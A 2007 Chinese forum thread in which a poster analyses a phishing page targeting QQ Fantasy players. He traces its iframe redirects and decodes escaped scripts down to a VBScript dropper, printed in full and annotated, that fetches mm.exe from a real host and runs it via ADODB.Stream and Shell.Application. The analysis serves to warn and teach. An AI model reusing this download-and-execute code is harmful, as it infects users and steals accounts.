1234
返回列表 回复 发帖
tyeken8

Rank: 6Rank: 6

UID
4790 
帖子
98 
积分
54 
紫菀
0 朵 
花瓣
130 片 
花蕊
3 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
6 级 
在线时间
19 小时 
注册时间
2006-12-30 
蜗居何地
TJ 
登录状态
当前离线
楼主
打印
tT
发表于 2007-2-11 10:20 | 只看该作者

[讨论] 一个QQ幻想盗号木马的分析（原创）

大家好，我是一个Crazy About计算机的高中生，Tydus。
这几个月前我闲来无事就开始玩QQ幻想（下简称FO）。看到这幻想世界里面有这样一种人：
[引用]
新年提示03:[系统]新年欢乐送!凡35级以上没领取过的玩家登陆:foyy.7799.cn/领取"新年礼物"春天套装/水兽"千年蟠桃.
[结束引用]
这个会蒙骗一些新玩家，让他们打开这个地址：http://foyy.7799.cn/[color=Red]（危险，大家不要访问）[/color]
我今天就陪他玩玩。


先NC下它（看红色的）：
[引用]
C:\>nc foyy.7799.cn 80
GET / HTTP/1.1
Host: foyy.7799.cn

HTTP/1.1 200 OK
Date: Fri, 09 Feb 2007 09:38:47 GMT
Server: Apache/1.3.28 (Unix) PHP/4.3.2
X-Powered-By: PHP/4.3.2
Transfer-Encoding: chunked
Content-Type: text/html

e6
<html>
<head>
<title>QQ幻想领取处...</title>
</head>
<frameset rows="100%,*" border="0" frameborder="0" framespacing="0" framecolor="#000000">
[color=Red]<frame src=http://az01.129.tofor.com/1/  scrolling="auto">[/color]
</frameset>
</body>
</html>

0

[结束引用]

显然，一个frame跳转到[color=Red]http://az01.129.tofor.com/1/[/color]
然后我们继续NC它（依然看红色的）：
[引用]
C:\>nc az01.129.tofor.com 80
GET /1/ HTTP/1.1
Host: az01.129.tofor.com


HTTP/1.1 200 OK
Content-Length: 11776
Content-Type: text/html
Content-Location: http://az01.129.tofor.com/1/index.htm
Last-Modified: Sun, 31 Dec 2006 17:58:55 GMT
Accept-Ranges: bytes
ETag: "2c5cc15652dc71:204e6"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Fri, 09 Feb 2007 08:55:39 GMT


<head>
<meta http-equiv="Content-Language" content="zh-cn">
<base href="http://fo.qq.com/index.shtml">
[color=Red]<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Ciframe%20src%3D%22http%3A%2F%2F%2577%2577%2577%252E%2579%2573%2567%2561%2573%2565%2573%252E%2563%256F%256D%2F%2569%256D%2561%2567%2565%2573%2F%2577%252E%2568%2574%256D%22%20name%3D%22zhu%22%20width%3D%220%22%20height%3D%220%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>[/color]
<html>...</html>[color=Red]（这些由于很长，略过，我把HTML文件放在附件里面，有兴趣的可以去下载。）[/color]
  
  
  
  
  
  
  
  
  
  
  



<script>
function click() {
if (event.button==2) {
alert('由于是[活动网站],为了安全,已加密,请勿使用右键!')
} }
document.onmousedown=click
</script>


[结束引用]

下面骗取帐号跟密码的就不用说了吧？就是提交到一个asp（/ljsjk.asp），然后记录下用户名跟密码。
重点说上面红色的地方
这个很显然是一个Escape加密，解密的话可以直接把Document.write改成Alert。
[引用]
<iframe src="http://%77%77%77%2E%79%73%67%61%73%65%73%2E%63%6F%6D/%69%6D%61%67%65%73/%77%2E%68%74%6D" name="zhu" width="0" height="0" frameborder="0"></iframe>
[结束引用]
又是一个Unicode转义（其实Unescape就是Unicode转义的）
再次解密
[引用]
<iframe src="[color=Red]http://www.ysgases.com/images/w.htm[/color]" name="[color=Red]zhu[/color]" width="0" height="0" frameborder="0"></iframe>
[结束引用]
是一个Iframe，这里有一句有趣的话，name="[color=Red]zhu[/color]"，大概说上当的人都是猪吧（偷笑）。
好，[color=Red]http://www.ysgases.com/images/w.htm[/color]
继续NC（看红的）（只保留HTML，把HTTP握手的过程省略）：

[引用]
<iframe src="http://%77%77%77%2E%79%73%67%61%73%65%73%2E%63%6F%6D/%69%6E%62%62%73/%69%6D%61%67%65%73/%73%6B%69%6E%73/%34/%7A%34%2E%68%74%6D" name="zhu" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://%77%77%77%2E%79%73%67%61%73%65%73%2E%63%6F%6D/%69%6E%62%62%73/%69%6D%61%67%65%73/%73%6B%69%6E%73/%34/%7A%36%2E%68%74%6D" name="zhu" width="0" height="0" frameborder="0"></iframe>
[结束引用]
一样的方法，Unescape

[引用]
<iframe src="http://www.ysgases.com/inbbs/images/skins/4/z4.htm" name="zhu" width="0" height="0" frameborder="0"></iframe>
<iframe src="http://www.ysgases.com/inbbs/images/skins/4/z6.htm" name="zhu" width="0" height="0" frameborder="0"></iframe>
[结束引用]
不知道这里为什么分成2个，我们继续。
NC：
[引用]
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CSCRIPT%20LANGUAGE%3D%22JavaScript%22%3E%0D%0A%3C%21%2D%2D%0D%0Afunction%20decrypt%28str%2C%20pwd%29%20%7B%0D%0Aif%28str%20%3D%3D%20null%20%7C%7C%20str%2Elength%20%3C%208%29%20%7B%0D%0Aalert%28%22A%20salt%20value%20could%20not%20be%20extracted%20from%20the%20encrypted%20message%20because%20it%27s%20length%20is%20too%20short%2E%20The%20message%20cannot%20be%20decrypted%2E%22%29%3B%0D%0Areturn%3B%20%0D%0A%7D%0D%0Aif%28pwd%20%3D%3D%20null%20%7C%7C%20pwd%2Elength%20%3C%3D%200%29%20%7B%0D%0Aalert%28%22Please%20enter%20a%20password%20with%20which%20to%20decrypt%20the%20message%2E%22%29%3B%0D%0Areturn%3B%0D%0A%7D%20%0D%0Avar%20prand%20%3D%20%22%22%3B%20T%29%0D%0Afor%28var%20i%3D0%3B%20i%3Cpwd%2Elength%3B%20i%2B%2B%29%20%7B%20%0D%0Aprand%20%2B%3D%20pwd%2EcharCodeAt%28i%29%2EtoString%28%29%3B%20%0D%0A%7D%0D%0Avar%20sPos%20%3D%20Math%2Efloor%28prand%2Elength%20%2F%205%29%3B%0D%0Avar%20mult%20%3D%20parseInt%28prand%2EcharAt%28sPos%29%20%2B%20prand%2EcharAt%28sPos%2A2%29%20%2B%20prand%2EcharAt%28sPos%2A3%29%20%2B%20prand%2EcharAt%28sPos%2A4%29%20%2B%20prand%2EcharAt%28sPos%2A5%29%29%3B%0D%0Avar%20incr%20%3D%20Math%2Eround%28pwd%2Elength%20%2F%202%29%3B%0D%0Avar%20modu%20%3D%20Math%2Epow%282%2C%2031%29%20%2D%201%3B%0D%0Avar%20salt%20%3D%20parseInt%28str%2Esubstring%28str%2Elength%20%2D%208%2C%20str%2Elength%29%2C%2016%29%3B%0D%0Astr%20%3D%20str%2Esubstring%280%2C%20str%2Elength%20%2D%208%29%3B%0D%0Aprand%20%2B%3D%20salt%3B%0D%0Awhile%28prand%2Elength%20%3E%2010%29%20%7B%20%0D%0Aprand%20%3D%20%28parseInt%28prand%2Esubstring%280%2C%2010%29%29%20%2B%20parseInt%28prand%2Esubstring%2810%2C%20prand%2Elength%29%29%29%2EtoString%28%29%3B%20%0D%0A%7D%0D%0Aprand%20%3D%20%28mult%20%2A%20prand%20%2B%20incr%29%20%25%20modu%3B%0D%0Avar%20enc%5Fchr%20%3D%20%22%22%3B%0D%0Avar%20enc%5Fstr%20%3D%20%22%22%3B%0D%0Afor%28var%20i%3D0%3B%20i%3Cstr%2Elength%3B%20i%2B%3D2%29%20%7B%0D%0Aenc%5Fchr%20%3D%20parseInt%28parseInt%28str%2Esubstring%28i%2C%20i%2B2%29%2C%2016%29%20%5E%20Math%2Efloor%28%28prand%20%2F%20modu%29%20%2A%20255%29%29%3B%20%20%20%0D%0Aenc%5Fstr%20%2B%3D%20String%2EfromCharCode%28enc%5Fchr%29%3B%0D%0Aprand%20%3D%20%28mult%20%2A%20prand%20%2B%20incr%29%20%25%20modu%3B%0D%0A%7D%0D%0Areturn%20enc%5Fstr%3B%0D%0A%7D%0D%0Adl%20%3D%20%22http%3A%2F%2Fwww%2Eysgases%2Ecom%2Finbbs%2Fimages%2Fskins%2F4%2Fmm%2Eexeua%22%0D%0Avar%20hk%3D%22f8d2bf5d24a25ab4f6372cb3b0c34c2a5f73092823fe90b434389704889656e0953ba142ceeb798520db5111b312dc78bf26d6eef7d59aea5054c72d31678733005adf0da15829c4d22d1b3be6e148678a44137f88b051fd8a7931c4b3d87181ec529d457b06db1d03af4e448801e35b1a0f77771bb1f639fa3b9d2d1f8f904dc12fe9875573a55c0b0394c9d310f073bf8a1252f7d66d339c43fec3a34a250eff80e11490abe1311596e60bac42ba238b6acd3758b1178b0d6f025e256df2e52f3192b07a319b36b81d7429765ec24852996170ad13779e26ac88a65beba4d1c85023463e3a08fa7104dc694d0a656362eaaca4a1aa73ec4cbc4286c16a1e523797fa15a4c4f37b93c7909fa708d059e2532dd4d084dc7e10ef211e1ca9ecf692ca62245e4e6ca91cb3cdb473b3f3666be856226fe05aeafec03e7a04f56c6bd6a850df34a65824360f92502ad414281e03de33dc5cc6b5f32f704557dbf2275b0b4c7c597f6aeb8beb0fb43788224e92fcf5c7b5b0c93b0682a29610943d520f8200efa88dc79b6a31d56010a9bfa7e68730479eade14f626aa444ef66d995911a182d81e09614dd09de10c5e068c04213f5eedd692647da57ea7b7ace681bcaa4e7feed3a458f28c114e999444c2393a83e249a73392499f715f8c039e3a3291ae16a14f220b4d41808c852a4a5dbdee2cdaa09d07d2d0ffd496a5367975f401b9332074795cacad48f85a1373ba83d8409f9dadab877cd7d3b45b62a00e2b74b9b39c29898c8b94813cbeccac768bd1c9ae13bce6d9d52496e3b78f5d5a0e20ce31f6d3f3acf50307c4dddb0849287919b35a2fc6f8a3e37f46e0d1a91dd25dc4e67ff8b04a58e05fee0af9200a0e855ae8f3079fc10d24fce28674edc2bfab45f1a2e1850d28df06d66bb6cc39f567a5afcbf14b79044445cb0468ceb458dbab96493858381cd8517959b4cb05f373a3b03db66fa%22%20%0D%0Adocument%2Ewrite%28decrypt%28hk%2C%22msmm%22%29%29%20%0D%0A%2F%2F%2D%2D%3E%0D%0A%3C%2FSCRIPT%3E%0D%0A%0D%0A%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
[结束引用]（待续）
收藏 分享
回复 引用

小竹子

Rank: 7Rank: 7Rank: 7

UID
5607 
帖子
98 
积分
67 
紫菀
0 朵 
花瓣
112 片 
花蕊
14 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
7 级 
在线时间
43 小时 
注册时间
2007-1-21 
蜗居何地
四川 
登录状态
当前离线
沙发
发表于 2007-2-11 10:22 | 只看该作者


我是文盲..漂过...
－　－！
回复 引用

TOP

tyeken8

Rank: 6Rank: 6

UID
4790 
帖子
98 
积分
54 
紫菀
0 朵 
花瓣
130 片 
花蕊
3 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
6 级 
在线时间
19 小时 
注册时间
2006-12-30 
蜗居何地
TJ 
登录状态
当前离线
板凳
发表于 2007-2-11 10:22 | 只看该作者
Unescape：
[引用]
<SCRIPT LANGUAGE="JavaScript">
<!--
function decrypt(str, pwd) {
if(str == null || str.length < 8) {
alert("A salt value could not be extracted from the encrypted message because it's length is too short. The message cannot be decrypted.");
return;
}
if(pwd == null || pwd.length <= 0) {
alert("Please enter a password with which to decrypt the message.");
return;
}
var prand = ""; T)
...（这些也省略）
}
dl = "http://www.ysgases.com/inbbs/images/skins/4/mm.exeua"
var hk="f8d2bf5d24a25ab4f6372cb3b0c34c2a5f73092823fe90b434389704889656e0953ba142ceeb798520db5111b312dc78bf26d6eef7d59aea5054c72d31678733005adf0da15829c4d22d1b3be6e148678a44137f88b051fd8a7931c4b3d87181ec529d457b06db1d03af4e448801e35b1a0f77771bb1f639fa3b9d2d1f8f904dc12fe9875573a55c0b0394c9d310f073bf8a1252f7d66d339c43fec3a34a250eff80e11490abe1311596e60bac42ba238b6acd3758b1178b0d6f025e256df2e52f3192b07a319b36b81d7429765ec24852996170ad13779e26ac88a65beba4d1c85023463e3a08fa7104dc694d0a656362eaaca4a1aa73ec4cbc4286c16a1e523797fa15a4c4f37b93c7909fa708d059e2532dd4d084dc7e10ef211e1ca9ecf692ca62245e4e6ca91cb3cdb473b3f3666be856226fe05aeafec03e7a04f56c6bd6a850df34a65824360f92502ad414281e03de33dc5cc6b5f32f704557dbf2275b0b4c7c597f6aeb8beb0fb43788224e92fcf5c7b5b0c93b0682a29610943d520f8200efa88dc79b6a31d56010a9bfa7e68730479eade14f626aa444ef66d995911a182d81e09614dd09de10c5e068c04213f5eedd692647da57ea7b7ace681bcaa4e7feed3a458f28c114e999444c2393a83e249a73392499f715f8c039e3a3291ae16a14f220b4d41808c852a4a5dbdee2cdaa09d07d2d0ffd496a5367975f401b9332074795cacad48f85a1373ba83d8409f9dadab877cd7d3b45b62a00e2b74b9b39c29898c8b94813cbeccac768bd1c9ae13bce6d9d52496e3b78f5d5a0e20ce31f6d3f3acf50307c4dddb0849287919b35a2fc6f8a3e37f46e0d1a91dd25dc4e67ff8b04a58e05fee0af9200a0e855ae8f3079fc10d24fce28674edc2bfab45f1a2e1850d28df06d66bb6cc39f567a5afcbf14b79044445cb0468ceb458dbab96493858381cd8517959b4cb05f373a3b03db66fa"   
document.write(decrypt(hk,"msmm"))
//-->
</SCRIPT>
[结束引用]

之后这个就不知道是什么方式的加密了（我孤陋寡闻，再加上2年多不玩Hack了（惭愧ing））
不过我还是可以把它拆开：
这个网页木马有问题，大家看上面红色的部分，明显多了几个字符。
而且由正确的方式解密之后也是一片乱码（我怀疑是代码页的问题，望高手指点），所以先放弃分析这个网页。

Z6.htm:
[引用]
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3CSCRIPT%3Evar%20Words%3D%22%253Chtml%253E%250D%250A%253Cscript%20language%253D%2522VBScript%2522%253E%250D%250Aon%20error%20resume%20next%250D%250AMyQQ5372453%253D%2522http%253A%252F%252Fwww%252Eysgases%252Ecom%252Finbbs%252Fimages%252Fskins%252F4%252Fmm%252Eexe%2522%250D%250ASet%20CAOc%20%253D%20document%252EcreateElement%2528%2522object%2522%2529%250D%250Ac1%20%253D%2522clsid%253ABD%2522%250D%250Ac2%253D%252296C556%252D65A3%252D11%2522%250D%250Ac3%253D%2522D0%252D983A%252D00C04F%2522%250D%250Ac4%253D%2522C29E36%2522%250D%250ACAOc%252EsetAttribute%20%2522classid%2522%252Cc1%252Bc2%252Bc3%252Bc4%250D%250Aseturla%253D%2522down%2522%250D%250Aseturlb%253D%2522file%2522%250D%250Aseturlc%253D%2522copy%2522%250D%250Aseturld%253D%2522exit%2522%250D%250Aseturle%253D%2522base%2522%250D%250ACAOi%253D%2522Microsoft%252EXMLHTTP%2522%250D%250ASet%20CAOd%20%253D%20CAOc%252ECreateObject%2528CAOi%252C%2522%2522%2529%250D%250Aseturlf%253D%2522Ado%2522%250D%250Aseturlg%253D%2522db%252E%2522%250D%250Aseturlh%253D%2522Str%2522%250D%250Aseturli%253D%2522eam%2522%250D%250ACAOf%253Dseturlf%2526seturlg%2526seturlh%2526seturli%250D%250ACAOg%253DCAOf%250D%250Aset%20CAOa%20%253D%20CAOc%252Ecreateobject%2528CAOg%252C%2522%2522%2529%250D%250ACAOa%252Etype%20%253D%201%250D%250ACAOh%253D%2522GET%2522%250D%250ACAOd%252EOpen%20CAOh%252C%20MyQQ5372453%252C%20False%250D%250ACAOd%252ESend%250D%250ACAO9%253D%2522mm%252Eexe%2522%250D%250Aset%20CAOb%20%253D%20CAOc%252Ecreateobject%2528%2522Scripting%252EFileSystemObject%2522%252C%2522%2522%2529%250D%250Aset%20CAOe%20%253D%20CAOb%252EGetSpecialFolder%25282%2529%250D%250ACAOa%252Eopen%250D%250ACAO8%253D%2522CAOa%252EBuildPath%2528CAOa%252CCAO8%2529%2522%250D%250ACAO7%253D%2522CAOb%252EBuildPath%2528CAOb%252CCAO7%2529%2522%250D%250ACAO6%253D%2522CAOc%252EBuildPath%2528CAOd%252CCAO6%2529%2522%250D%250ACAO5%253D%2522CAOd%252EBuildPath%2528CAOf%252CCAO5%2529%2522%250D%250ACAO4%253D%2522CAOe%252EBuildPath%2528CAOg%252CCAO4%2529%2522%250D%250ACAO3%253D%2522CAOf%252EBuildPath%2528CAOh%252CCAO4%2529%2522%250D%250ACAO2%253D%2522CAOg%252EBuildPath%2528CAOi%252CCAO3%2529%2522%250D%250ACAO1%253D%2522CAOh%252EBuildPath%2528CAOg%252CCAO1%2529%2522%250D%250ACAO0%253D%2522CAOi%252EBuildPath%2528CAOk%252CCAO0%2529%2522%250D%250ACAO9%253D%20CAOb%252EBuildPath%2528CAOe%252CCAO9%2529%250D%250ACAOa%252Ewrite%20CAOd%252EresponseBody%250D%250ACAOa%252Esavetofile%20CAO9%252C2%250D%250ACAOa%252Eclose%250D%250Aset%20CAOe%20%253D%20CAOc%252Ecreateobject%2528%2522Shell%252EApplication%2522%252C%2522%2522%2529%250D%250ACAOe%252EShellExecute%20CAO9%252CBBS%252CBBS%252C%2522open%2522%252C%200%250D%250A%253C%252Fscript%253E%250D%250A%253C%252Fhtml%253E%250D%250A%22%3Bdocument%2Ewrite%28unescape%28Words%29%29%3C%2FSCRIPT%3E%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>
[结束引用]
一样的Unescape。

[引用]
<SCRIPT>var Words="%3Chtml%3E%0D%0A%3Cscript language%3D%22VBScript%22%3E%0D%0Aon error resume next%0D%0AMyQQ5372453%3D%22http%3A%2F%2Fwww%2Eysgases%2Ecom%2Finbbs%2Fimages%2Fskins%2F4%2Fmm%2Eexe%22%0D%0ASet CAOc %3D document%2EcreateElement%28%22object%22%29%0D%0Ac1 %3D%22clsid%3ABD%22%0D%0Ac2%3D%2296C556%2D65A3%2D11%22%0D%0Ac3%3D%22D0%2D983A%2D00C04F%22%0D%0Ac4%3D%22C29E36%22%0D%0ACAOc%2EsetAttribute %22classid%22%2Cc1%2Bc2%2Bc3%2Bc4%0D%0Aseturla%3D%22down%22%0D%0Aseturlb%3D%22file%22%0D%0Aseturlc%3D%22copy%22%0D%0Aseturld%3D%22exit%22%0D%0Aseturle%3D%22base%22%0D%0ACAOi%3D%22Microsoft%2EXMLHTTP%22%0D%0ASet CAOd %3D CAOc%2ECreateObject%28CAOi%2C%22%22%29%0D%0Aseturlf%3D%22Ado%22%0D%0Aseturlg%3D%22db%2E%22%0D%0Aseturlh%3D%22Str%22%0D%0Aseturli%3D%22eam%22%0D%0ACAOf%3Dseturlf%26seturlg%26seturlh%26seturli%0D%0ACAOg%3DCAOf%0D%0Aset CAOa %3D CAOc%2Ecreateobject%28CAOg%2C%22%22%29%0D%0ACAOa%2Etype %3D 1%0D%0ACAOh%3D%22GET%22%0D%0ACAOd%2EOpen CAOh%2C MyQQ5372453%2C False%0D%0ACAOd%2ESend%0D%0ACAO9%3D%22mm%2Eexe%22%0D%0Aset CAOb %3D CAOc%2Ecreateobject%28%22Scripting%2EFileSystemObject%22%2C%22%22%29%0D%0Aset CAOe %3D CAOb%2EGetSpecialFolder%282%29%0D%0ACAOa%2Eopen%0D%0ACAO8%3D%22CAOa%2EBuildPath%28CAOa%2CCAO8%29%22%0D%0ACAO7%3D%22CAOb%2EBuildPath%28CAOb%2CCAO7%29%22%0D%0ACAO6%3D%22CAOc%2EBuildPath%28CAOd%2CCAO6%29%22%0D%0ACAO5%3D%22CAOd%2EBuildPath%28CAOf%2CCAO5%29%22%0D%0ACAO4%3D%22CAOe%2EBuildPath%28CAOg%2CCAO4%29%22%0D%0ACAO3%3D%22CAOf%2EBuildPath%28CAOh%2CCAO4%29%22%0D%0ACAO2%3D%22CAOg%2EBuildPath%28CAOi%2CCAO3%29%22%0D%0ACAO1%3D%22CAOh%2EBuildPath%28CAOg%2CCAO1%29%22%0D%0ACAO0%3D%22CAOi%2EBuildPath%28CAOk%2CCAO0%29%22%0D%0ACAO9%3D CAOb%2EBuildPath%28CAOe%2CCAO9%29%0D%0ACAOa%2Ewrite CAOd%2EresponseBody%0D%0ACAOa%2Esavetofile CAO9%2C2%0D%0ACAOa%2Eclose%0D%0Aset CAOe %3D CAOc%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0ACAOe%2EShellExecute CAO9%2CBBS%2CBBS%2C%22open%22%2C 0%0D%0A%3C%2Fscript%3E%0D%0A%3C%2Fhtml%3E%0D%0A";document.write(unescape(Words))</SCRIPT>
[结束引用]
又是一个无聊的Unescape。（待续）
回复 引用

TOP

tyeken8

Rank: 6Rank: 6

UID
4790 
帖子
98 
积分
54 
紫菀
0 朵 
花瓣
130 片 
花蕊
3 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
6 级 
在线时间
19 小时 
注册时间
2006-12-30 
蜗居何地
TJ 
登录状态
当前离线
地板
发表于 2007-2-11 10:23 | 只看该作者
好，露出原形了，Adodb.stream+XMLHTTP+FSO网页木马
我来解释一下
[引用]
<html>
<script language="VBScript">
on error resume next'遇到错误不提示继续，看来考虑地很周全
MyQQ5372453="http://www.ysgases.com/inbbs/images/skins/4/mm.exe"'木马的下载地址
Set CAOc = document.createElement("object")
c1 ="clsid:BD"'把字符分段，这样人家查不出来
c2="96C556-65A3-11"'同上
c3="D0-983A-00C04F"'同上
c4="C29E36"'同上
CAOc.setAttribute "classid",c1+c2+c3+c4'把分段的组合起来就是"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"，设置Classid的属性为clsid（也就是RDS.DataSpace 对象）用于创建客户端代理以自定义位于中间层的业务对象（可以理解为Server对象）
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
seturle="base"
CAOi="Microsoft.XMLHTTP"
Set CAOd = CAOc.CreateObject(CAOi,"")'熟悉的Server.CreateObject方法，创建一个XMLHTTP对象。XMLHTTP是一种浏览器对象， 可用于模拟http的GET和POST请求。
seturlf="Ado"'分段
seturlg="db."'同上
seturlh="Str"'同上
seturli="eam"'同上
CAOf=seturlf&seturlg&seturlh&seturli'合起来"Adodb.stream"
CAOg=CAOf'不知搞什么飞机
set CAOa = CAOc.createobject(CAOg,"")'创建一个Adodb.Stream对象，用来读写流，我们接着看。
CAOa.type = 1'指定数据类型为二进制
CAOh="GET"
CAOd.Open CAOh, MyQQ5372453, False
'Open方法，就是HTTP协议里面的
'nc www.ysgases.com 80
'GET /inbbs/images/skins/4/mm.exe
'且为同步方式（也就是不完成这句就不继续，保证木马下载完成）
CAO9="mm.exe"'exe文件名，其实可以写成Mid(MyQQ5372453,InStrRev(MyQQ5372453,"/")+1)
set CAOb = CAOc.createobject("Scripting.FileSystemObject","")'熟悉的FSO对象
set CAOe = CAOb.GetSpecialFolder(2)'取得临时文件夹路径
CAOa.open'执行XMLHTTP的GET请求
'这个家伙，写这么长，诚心的哈>_<
CAO8="CAOa.BuildPath(CAOa,CAO8)"
CAO7="CAOb.BuildPath(CAOb,CAO7)"
CAO6="CAOc.BuildPath(CAOd,CAO6)"
CAO5="CAOd.BuildPath(CAOf,CAO5)"
CAO4="CAOe.BuildPath(CAOg,CAO4)"
CAO3="CAOf.BuildPath(CAOh,CAO4)"
CAO2="CAOg.BuildPath(CAOi,CAO3)"
CAO1="CAOh.BuildPath(CAOg,CAO1)"
CAO0="CAOi.BuildPath(CAOk,CAO0)"
'其实上面的都是唬人的，下面根本没有地方调用这些字符串
CAO9= CAOb.BuildPath(CAOe,CAO9) '调用FSO的建立路径方法从临时文件夹建立一个MM.exe的文件
CAOa.write CAOd.responseBody'向文件写入下载到的木马内容（我先做个预言哈，responseBody的前两个字符一定是"MZ"（哪里来的鸡蛋阿～））
CAOa.savetofile CAO9,2'正式写入文件（前面都在内存里呢）2表示覆盖
CAOa.close'关闭文件
set CAOe = CAOc.createobject("Shell.Application","")'创建一个Shell.Application对象用来运行木马
CAOe.ShellExecute CAO9,BBS,BBS,"open", 0'运行mm.exe（BBS就是Null）
</script>
</html>
[结束引用]（待续）
回复 引用

TOP

tyeken8

Rank: 6Rank: 6

UID
4790 
帖子
98 
积分
54 
紫菀
0 朵 
花瓣
130 片 
花蕊
3 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
6 级 
在线时间
19 小时 
注册时间
2006-12-30 
蜗居何地
TJ 
登录状态
当前离线
5楼
发表于 2007-2-11 10:23 | 只看该作者
好，露出原形了，Adodb.stream+XMLHTTP+FSO网页木马
我来解释一下
[引用]
<html>
<script language="VBScript">
on error resume next'遇到错误不提示继续，看来考虑地很周全
MyQQ5372453="http://www.ysgases.com/inbbs/images/skins/4/mm.exe"'木马的下载地址
Set CAOc = document.createElement("object")
c1 ="clsid:BD"'把字符分段，这样人家查不出来
c2="96C556-65A3-11"'同上
c3="D0-983A-00C04F"'同上
c4="C29E36"'同上
CAOc.setAttribute "classid",c1+c2+c3+c4'把分段的组合起来就是"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"，设置Classid的属性为clsid（也就是RDS.DataSpace 对象）用于创建客户端代理以自定义位于中间层的业务对象（可以理解为Server对象）
seturla="down"
seturlb="file"
seturlc="copy"
seturld="exit"
seturle="base"
CAOi="Microsoft.XMLHTTP"
Set CAOd = CAOc.CreateObject(CAOi,"")'熟悉的Server.CreateObject方法，创建一个XMLHTTP对象。XMLHTTP是一种浏览器对象， 可用于模拟http的GET和POST请求。
seturlf="Ado"'分段
seturlg="db."'同上
seturlh="Str"'同上
seturli="eam"'同上
CAOf=seturlf&seturlg&seturlh&seturli'合起来"Adodb.stream"
CAOg=CAOf'不知搞什么飞机
set CAOa = CAOc.createobject(CAOg,"")'创建一个Adodb.Stream对象，用来读写流，我们接着看。
CAOa.type = 1'指定数据类型为二进制
CAOh="GET"
CAOd.Open CAOh, MyQQ5372453, False
'Open方法，就是HTTP协议里面的
'nc www.ysgases.com 80
'GET /inbbs/images/skins/4/mm.exe
'且为同步方式（也就是不完成这句就不继续，保证木马下载完成）
CAO9="mm.exe"'exe文件名，其实可以写成Mid(MyQQ5372453,InStrRev(MyQQ5372453,"/")+1)
set CAOb = CAOc.createobject("Scripting.FileSystemObject","")'熟悉的FSO对象
set CAOe = CAOb.GetSpecialFolder(2)'取得临时文件夹路径
CAOa.open'执行XMLHTTP的GET请求
'这个家伙，写这么长，诚心的哈>_<
CAO8="CAOa.BuildPath(CAOa,CAO8)"
CAO7="CAOb.BuildPath(CAOb,CAO7)"
CAO6="CAOc.BuildPath(CAOd,CAO6)"
CAO5="CAOd.BuildPath(CAOf,CAO5)"
CAO4="CAOe.BuildPath(CAOg,CAO4)"
CAO3="CAOf.BuildPath(CAOh,CAO4)"
CAO2="CAOg.BuildPath(CAOi,CAO3)"
CAO1="CAOh.BuildPath(CAOg,CAO1)"
CAO0="CAOi.BuildPath(CAOk,CAO0)"
'其实上面的都是唬人的，下面根本没有地方调用这些字符串
CAO9= CAOb.BuildPath(CAOe,CAO9) '调用FSO的建立路径方法从临时文件夹建立一个MM.exe的文件
CAOa.write CAOd.responseBody'向文件写入下载到的木马内容（我先做个预言哈，responseBody的前两个字符一定是"MZ"（哪里来的鸡蛋阿～））
CAOa.savetofile CAO9,2'正式写入文件（前面都在内存里呢）2表示覆盖
CAOa.close'关闭文件
set CAOe = CAOc.createobject("Shell.Application","")'创建一个Shell.Application对象用来运行木马
CAOe.ShellExecute CAO9,BBS,BBS,"open", 0'运行mm.exe（BBS就是Null）
</script>
</html>
[结束引用]（待续）

呼~累死我了，这家伙写这么长干吗阿？
其实都是骗小孩的小伎俩，对付菜鸟可以凑合着应付过去，遇到我这样的（又是鸡蛋？）...

= =|||下载来的木马：
[引用]
00000000h: 4D 5A 50 00 02 00 00 00 04 00 0F 00 FF FF 00 00 ; MZP.........
+10

评分记录

  • 帝帝

回复 引用

TOP

七瓣玫瑰

Rank: 12Rank: 12Rank: 12Rank: 12

UID
5458 
帖子
261 
积分
169 
紫菀
0 朵 
花瓣
525 片 
花蕊
134 朵 
野草莓
22 个 
蒲公英
184 朵 
社区等级
12 级 
在线时间
80 小时 
注册时间
2007-1-18 
登录状态
当前离线
6楼
发表于 2007-2-11 10:35 | 只看该作者
回复 引用

TOP

ttt2007

Rank: 7Rank: 7Rank: 7

UID
6539 
帖子
120 
积分
63 
紫菀
0 朵 
花瓣
122 片 
花蕊
2 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
7 级 
在线时间
8 小时 
注册时间
2007-2-11 
蜗居何地
广东 
登录状态
当前离线
7楼
发表于 2007-2-11 17:41 | 只看该作者

一个QQ幻想盗号木马的分析（原创）

多谢
回复 引用

TOP

archangel071

Rank: 12Rank: 12Rank: 12Rank: 12

UID
1100 
帖子
288 
积分
178 
紫菀
0 朵 
花瓣
10 片 
花蕊
20 朵 
野草莓
0 个 
蒲公英
0 朵 
社区等级
12 级 
在线时间
142 小时 
注册时间
2006-10-9 
登录状态
当前离线
8楼
发表于 2007-2-11 19:32 | 只看该作者
好深奥``不过顶顶```这么麻烦```楼主辛苦咯``
回复 引用

TOP

射手座的情

Rank: 23Rank: 23Rank: 23Rank: 23Rank: 23Rank: 23Rank: 23

UID
4480 
帖子
939 
积分
670 
紫菀
17 朵 
花瓣
486 片 
花蕊
245 朵 
野草莓
7 个 
蒲公英
7 朵 
社区等级
23 级 
在线时间
390 小时 
注册时间
2006-12-18 
登录状态
当前离线
9楼
发表于 2007-2-11 20:26 | 只看该作者
